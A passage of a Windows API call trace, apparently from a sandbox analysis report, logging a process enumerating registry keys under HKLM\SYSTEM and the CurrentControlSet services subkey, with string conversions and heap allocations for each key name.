(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.384] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.384] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.384] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.384] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.384] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.385] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.385] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.385] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.385] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.386] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.386] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.386] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.386] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.387] RegCloseKey (hKey=0x150) returned 0x0 [0239.387] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.387] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.387] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.387] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.388] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.388] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.388] RegCloseKey (hKey=0x14c) returned 0x0 [0239.388] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.388] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1da8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.389] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.389] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1da8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.389] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, 